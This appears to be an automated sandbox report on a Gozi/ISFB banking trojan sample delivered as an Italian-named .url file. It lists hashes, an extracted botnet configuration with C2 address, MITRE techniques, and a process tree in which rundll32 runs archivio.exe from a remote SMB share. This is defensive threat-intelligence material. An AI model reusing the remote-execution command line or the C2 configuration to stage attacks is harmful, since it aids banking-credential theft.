gozi | d6ec850bc76c09b3b61eba88f65d3eb5c82dd2e9cdd007971c74a43e1244f6f8

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 14:19

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General

Target

Informazioni.url
Size

194B
MD5

71f0e30a7451930cd63fe6b7438489b8
SHA1

eadfb1b7d1e86c13ca0d19636f002cc1d238fc6e
SHA256

a0ba5ae2de98ecfe756c52976f8449177212dea143f8ab4c47c4c99f97c6517d
SHA512

a928b4237a9e31a6b8be8b2e1b89cb5268e3438c63a8cd33c8b660d0679593a6976ce14d719b608e478c42e8e665731bf481c57de0144a1e7cc1b1d7f3663947

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

45.93.139.24

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	rundll32.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 4884 wrote to memory of 768	4884	rundll32.exe	archivio.exe
PID 4884 wrote to memory of 768	4884	rundll32.exe	archivio.exe
PID 4884 wrote to memory of 768	4884	rundll32.exe	archivio.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Informazioni.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4884
- \??\UNC\62.173.146.73\scarica\archivio.exe
  "\\62.173.146.73\scarica\archivio.exe"
  2⤵
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/768-1-0x0000000002480000-0x0000000002580000-memory.dmp

Filesize
1024KB

Download
memory/768-2-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download
memory/768-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/768-4-0x0000000002450000-0x000000000245D000-memory.dmp

Filesize
52KB

Download
memory/768-7-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/768-8-0x0000000002480000-0x0000000002580000-memory.dmp

Filesize
1024KB

Download
memory/768-9-0x0000000002430000-0x000000000243B000-memory.dmp

Filesize
44KB

Download